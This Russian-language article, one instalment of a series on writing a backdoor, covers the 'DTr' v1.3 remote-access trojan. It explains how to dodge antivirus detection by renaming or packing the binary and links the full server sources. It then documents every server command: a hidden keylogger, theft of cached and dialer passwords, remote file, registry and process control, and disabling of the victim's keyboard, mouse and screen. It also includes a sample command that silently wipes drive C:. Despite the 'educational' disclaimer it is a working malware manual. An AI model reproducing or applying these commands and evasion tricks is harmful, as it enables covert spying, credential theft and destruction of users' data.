Продолжаем цикл статей по написанию BackDoor.
Первые части можно найти здесь
и на http://ww.danil.dp.ua.
Как все, наверное, знают, DrWeb и AVP уже начали
определять мою прогу "DTr" v.1.3. Я решил
это дело пофиксить. Выбрал время, набрал
пива, поставил брейкпоинты на SoftIce, а потом
решил "проверить на вшивость". Изменил
имя приложения, откомпилил, запустил
сканеры. Проверил. Запаковал, запустил
мониторы, переписал туда-сюда. Не ловят.
Цирк. Как говорила одна моя знакомая: "я
забыла сопротивляться". Эти "супер"
антивиры отлавливают пока только имя
приложения. Это значит, что если генерить
имя случайным образом, то по этому
алгоритму работы они вообще его ловить не
будут. А если обозвать приложение именем
какого-нибудь стандарта? Например, "internat.exe"?
Кстати, имя приложения изменяется в 118
строке в значении константы "AppName" в
исходниках (см. ниже). В любом случае, я решил
форсировать процесс и выложить на свою
страницу полные исходники сервера.
Исходники клиента и дополнительной DLL
выкладывать не буду - там столько
используется моих и не моих компонентов и
модулей, что это уже мало похоже на Delphi. Тем
более, клиент и DLL антивирами не
определяются, а в следующих статьях я "освещу"
клиент на "чистом" Delphi. Исходники
особым обилием комментариев не отличаются,
но после внимательного прочтения моих
предыдущих двух статей на эту тему, я думаю,
в них можно разобраться. Единственная
сложность, какая может возникнуть, это
закачка файлов, но общий принцип работы
алгоритма я расскажу в следующих статьях.
Тем более, что особо разбираться и не нужно -
изменить имя приложения можно и так. В этой
статье я дам подробное описание команд,
которые понимает сервер. В сервере замечены
баги на Win95, при перезагрузке компа и т.п. Об
этом я также расскажу в последующих статьях.
Исходники находятся на моей странице в
архиве http://www.danil.dp.ua/dtr_s13s.zip.
Особой красотой алгоритмы не отличаются.
Принцип был один: работает - и ладно, а
оптимизация будет в следующей версии.
Замечу, что пришлось переписывать функцию
преобразования строка-число - под NT
выдавала какой-то бред.
КОМАНДЫ "DTr" v.1.3:
Некоторые обозначения:
_#13_ - символ с кодом 13;
<параметр> - параметры команды (без <>).
Команды чувствительны к регистру - "helo"
и "HeLo" не одно и то же.
*) Проверка связи. Команда "helo".
Параметров нет. Должно выдать систему
сервера, каталоги, имя юзера и т.д.
*) Файловый менеджер. Команда "ld <каталог>".
Требует от сервера вернуть список файлов и
директорий, находящихся в <каталог>.
Сервер возвращает список из строк,
разделенных символом #13. В начале списка
стоит "[[[ListFile <каталог>_#13_" для
указания клиенту, что это список файлов,
и вывести его надо в окне файлового
менеджера. ПРИМЕР: "ld C:\WINDOWS\".
*) Список запущенных процессов на удаленном
компьютере. Команда "lp". Параметров
нет. Должно выдать список процессов в окне
сообщений. Требует для своей работы
дополнительную DLL (см. в клиенте).
*) Прервать процесс. Команда "dp <№ или ID
процесса>". Прерывает процесс. № (для
Win9x/ME) или ID (WinNT) - из списка процессов (смю
выше). Требует дополнительную DLL.
ПРИМЕР: "dp 2".
*) Перегрузить удаленный комп. Команда "rbt".
Работает только на Win9x/ME. Если есть
желание, то можно дописать для NT. Для этого
нужно запросить дополнительные права. На
Delphi это выглядит примерно так :
procedure ReBoot;
var
hToken: THandle;
tkp: TTokenPrivileges;
RetLen: DWORD;
PreviousState: TTokenPrivileges;
Ver: TOsVersionInfo;
begin
try
Ver.dwOSVersionInfoSize := SizeOf(Ver);
GetVersionEx(Ver);
if Ver.dwPlatformId=VER_PLATFORM_WIN32_NT then begin // если WinNT
if not OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES or
TOKEN_QUERY, hToken) then exit;
if not LookupPrivilegeValue( Nil, 'SeShutdownPrivilege',tkp.Privileges[0].Luid)
then exit;
PreviousState := tkp;
tkp.PrivilegeCount := 1;
tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
if not(AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(PreviousState),
PreviousState, RetLen)) then exit;
end;
ExitWindows(EWX_REBOOT,0); // перезагрузить
except
end;
end;
*) Выключить компьютер. Команда "sd".
Работает только на Win9x/ME.
*) Запуск win-приложения. Команда "start <имя
файла>_#13_<параметры>_#13_<вид>".
Запускает приложение. Может запустить и
связанный файл: например "*.doc". <вид>
- способ запуска (число):
0 : скрыто;
1 : минимизировано;
2 : нормально;
3 : на весь экран.
ПРИМЕР: "start C:\WINDOWS\1.doc_#13_#13_3".
*) Запуск DOS-приложения. Команда "startDOS <имя
файла>_#13_<параметры>_#13_<вид>".
Запускает приложение. <вид> - способ
запуска (число). ПРИМЕР: "startDOS C:\WINDOWS\COMMAND\deltree.exe_#13_/Y
C:\_#13_0".
*) Проверка дополнительной DLL. Команда "dll
DTrTestDLL_#13_<строка>". Проверяет
доступность и инициализацию
дополнительной DLL. Служит для проверки DLL
при переименовании и переносе.
Предполагается в следующих версиях этой
командой запускать функции из
дополнительной библиотеки ("dlll <команда>_#13_<параметры>
"). Сервер должен вернуть <строка> или
сообщение об ошибке. Само собой, на сервере
необходима дополнительная DLL.
ПРИМЕР: "dll DTrTestDLL_#13_ddddd".
*) Образ экрана. Команда "scr <файл>".
Сканирует экран и переносит в gif-файл.
Требует для своей работы дополнительную DLL.
ПРИМЕР: "scr C:\scr.gif".
*) Высветить сообщение. "sm <вид> <заголовок>_#13_<текст
сообщения>". Высветить
сообщение. <вид> - иконка (число):
0 : нету;
1 : Stop;
2 : !;
3 : ?;
4 : Info.
ПРИМЕР: "sm 1 Error_#13_System FAILURE".
*) Минимизировать и закрыть активное
приложение. Команды "mnwn" и "clwn"
соответсвенно.
*) Выключить экран, мышь и клаву. Команды "clsc",
"clms" и "clkl". ВНИМАНИЕ.
Используются команды "rundll32.exe user,disableoemlayer",
"rundll32.exe mouse,disable"
и "rundll32.exe keyboard,disable". Обратные команды
типа "rundll32.exe mouse,enable"
не работают. Комп придется перегружать.
*) Убрать с экрана и показать панель задач.
Команды "ht" и "st" соответственно.
*) Пробипать динамиком. Команда "bp <кол-во
раз>".
ПРИМЕР: "bp 13".
*) Просмотр подключей выбранного ключа
реестра. Команда "RegVKey <ключ>_#13_<HK>".
<HK>:
0 : HKCU;
1 : HKLM;
2 : HKU;
3 : HKCC.
ПРИМЕР: "RegVKey Software_#13_1" - просмотр всех
подключей в HKEY_LOCAL_MACHINE\SOFTWARE.
*) Просмотр параметров выбранного ключа
реестра. Команда "RegVPar <ключ>_#13_<HK>".
ПРИМЕР: "RegVPar Software_#13_1" - просмотр всех
параметров в HKEY_LOCAL_MACHINE\SOFTWARE.
*) Создать подключ в выбранном ключе реестра.
Команда "RegCKey <ключ>_#13_<подключ>_#13_<HK>".
ПРИМЕР: "RegCKey Software_#13_sss_#13_1" - создать
подключ "sss" в HKEY_LOCAL_MACHINE\SOFTWARE.
*) Создать/Изменить строковой параметр в
выбранном ключе реестра. Команда "RegCPar
<ключ>_#13_<параметр>_#13_<значение>_#13_<HK>".
ПРИМЕР: "RegCPar Software_#13_sss_#13_ddd_#13_1" -
создать/изменить параметр "sss" с
значением "ddd" в HKEY_LOCAL_MACHINE\SOFTWARE.
*) Создать/Изменить числовой параметр в
выбранном ключе реестра. Команда "RegCWPr <ключ>_#13_<параметр>_#13_<значение>_#13_<HK>".
ПРИМЕР: "RegCWPr Software_#13_sss_#13_666_#13_1" -
создать/изменить параметр "sss" с
значением "666" в HKEY_LOCAL_MACHINE\SOFTWARE.
*) Удалить подключ в реестре. Команда "RegDKey
<подключ>_#13_<HK>". ПРИМЕР: "RegDKey
Software\sss_#13_1" - удалить подключ "sss" в
HKEY_LOCAL_MACHINE\SOFTWARE.
*) Удалить параметр в ключе реестра. Команда
"RegDPar <ключ>_#13_<параметр>_#13_<HK>".
ПРИМЕР: "RegDPar Software\sss_#13_ddd_#13_1" - удалить
параметр "ddd" в HKEY_LOCAL_MACHINE\SOFTWARE\sss.
Для всех нижеследующих команд необходима
дополнительная DLL.
*) Включить клавиатурный шпион. Команда "KeySpyON
<файл>". Включить кл. шпион с записью в
<файл>. Файл потом закачивается с помощью
файлового менеджера. Файл имеет атрибут
системный и для юзера в проводнике не виден.
*) Выключить клавиатурный шпион. Команда
"KeySpyOFF".
*) Получить кешированные инет-пароли.
Команда "CrckP". Сервер должен вывести
все пароли, на свойствах соединения которых
стоит "Сохранять пароли". Только для
Win9x/ME.
*) Получить инет-пароли из EType Dialer. Команда
"CrkED".
*) Получить список доступных по сети
компьютеров. Команда "UserList".
*) Получить список зарегестрированных в
WinNT-server пользователей на удаленном
компьютере. Команда "ServList". Только для
WinNT-server.
Команды файлового манеджера.
*) Показать список зарегистрированных в
системе дисков - "ld". Возвращает список
дисков со строкой "[[[ListDrvr " в начале.
*) Показать список файлов и каталогов в
указанной директории - "ld <каталог>".
В начале списка стоит "[[[ListFile <каталог>_#13_".
*) Создать каталог в текущей директории - "MakeDir
<имя>". ПРИМЕР: "MakeDir 111".
*) Переименовать/перенести, скопировать
файл, каталог - "CopFile <родительский
каталог>_#13_<имя файла, каталога>_#13_<куда>_#13_<вид>".
<вид>:
0 : копировать каталог со всем содержимым;
1 : перенести/переименовать каталог;
2: копировать файл;
3 : перенести/переименовать файл.
ПРИМЕР: "CopFile C:\WINDOWS\_#13_win.com_#13_C:\TEMP\1.tmp_#13_3".
*) Удалить файл, пустой каталог - "DelFile <имя>".
Удаляет файл или пустой каталог. Если
каталог, то на конце должно быть "\". <имя>
- полный путь. ПРИМЕР: "DelFile C:\WINDOWS\win.com"
или "C:\WINDOWS\".
*) Показать атрибуты файла, каталога - "ShowAttr
<имя>". ПРИМЕР: "ShowAttr C:\WINDOWS\win.com".
*) Изменить атрибуты файла, каталога - "SetAttrb
<имя>_#13_<атрибут>". ПРИМЕР: "SetAttrb C:\WINDOWS\win.com_#13_0".
*) Получить файл с сервера - "LoadFile <полный
путь к файлу на сервере>_#13_<размер буфера>".Файл
передается по частям и <размер буфера> -
размер передаваемого буфера для файла. На
разных компах была замечена такая
особенность: клиент и сервер получают не
столько, сколько указано, а столько, сколько
захотят (т.е. он может принять подряд 4800, 6800,
8600, и т.д.). Поэтому была сделана возможность
установки размера буфера приема и отправки.
ПРИМЕР: "LoadFile C:\WINDOWS\win.com_#13_4000".
*) Отправить файл на сервер. Файл
разбивается (в случае необходимости) на
части. Размер частей зависит от буфера
обмна. Вначале посылается команда "SaveFile
<полный путь и имя файла на сервере>_#13_<размер>".
Потом шлются команды "SconFile <размер>_#13_<часть
файла>", где на сервер отправляется весь
файл по частям. Сервер после получения и
записи должен отвечать. Последняя часть
файла идет так: "SendFile <часть файла>".
Это говорит серверу что нужно записать и
закрыть файл.
Функции дополнительной DLL ("nb003.dll"):
1) DTrTestDLL. Проверка дополнительной DLL. Входной
параметр - указатель на строку, выходной
параметр - указатель на строку вида: "Проверка
DLL выполнена. Полученная строка - ...".
2) DTrLstProc. Список запущенных процессов.
Входной параметр - число, определяющее
систему сервера (0-Win9x/ME,1-WinNT). Выходной
параметр - указатель на список строк,
содержащий названия и номер всех
запущенных приложений.
3) DTrDelProc. Прервать процесс по номеру или ID.
Входные параметры - число, определяющее
систему сервера и номер или ID удаляемого
процесса. Выходной параметр- указатель на
строку с информацией о результате
выполнения операции.
4) DTrGetScr. Получение снимка экрана в файл.
Входной параметр - указатель на строку с
полным путем и именем gif-файла. Выходной
параметр- указатель на строку с информацией
о результате выполнения операции.
5) DTrEDPass. Получить пароли EType Dialer. Входной
параметр - число, определяющее систему
сервера. Выходной параметр - указатель на
список строк, содержащий все полученные
пароли или сообщение о неудаче выполнения
операции.
6) DTrCrkPass. Получить кэшированные инет-пароли.
Входной параметр - число, определяющее
систему сервера. Выходной параметр -
указатель на список строк, содержащий все
полученные пароли или сообщение о неудаче
выполнения операции.
7) DTrSrvLst. Получить список пользователей
WinNT-server. Входной параметр - число,
определяющее систему сервера. Выходной
параметр - указатель на список строк,
содержащий инфу обо всех юзерах или
сообщение о неудаче выполнения операции.
8) DTrUsrLst. Получить список подключенных к
серверу компов. Входной параметр - число,
определяющее систему сервера. Выходной
параметр - указатель на список строк,
содержащий имена всех компьютеров или
сообщение о неудаче выполнения операции.
9) DTrKeyProc. Функция клавиатурного шпиона.
Теперь о багах. Почему-то, если сервер стоит
на Win95, то в окне получаемых сообщений, если
предыдущая посланная строка была больше
текущей, выводится полученная строка и
окончание предыдущей. Это все фиксится
обнулением буфера отправки или отправкой
только стольких байт, сколько есть в
подготовленной строке. Т.е. или перед
отправкой надо ставить:
mov ecx,6666
mov edi,offset BufStr0
lll_1: mov byte ptr [edi],0
inc edi
loop lll_1
или, лучше, конструкцию:
invoke send,client,addr BufStr0,sizeof BufStr0,0
Надо переписать так:
invoke lstrlen, addr BufStr0
invoke send,client,addr BufStr0, eax,0
Пока все. В следующих статьях мы рассмотрим:
* как запускать приложения на сервере;
* как редактировать реестр сервера;
* как издеваться над юзером;
* как сделать файловый менеджер на клиенте
для сервера;
* как закачивать файлы на сервер и с сервера;
* как получать дополнительную информацию с
сервера;
* как сделать снимок экрана сервера;
* как управлять запущенными процессами на
сервере;
и т.д.
P.S. Статья и программа предоставлена в целях
обучения и вся ответственность за их
использование ложится на твои хилые плечи.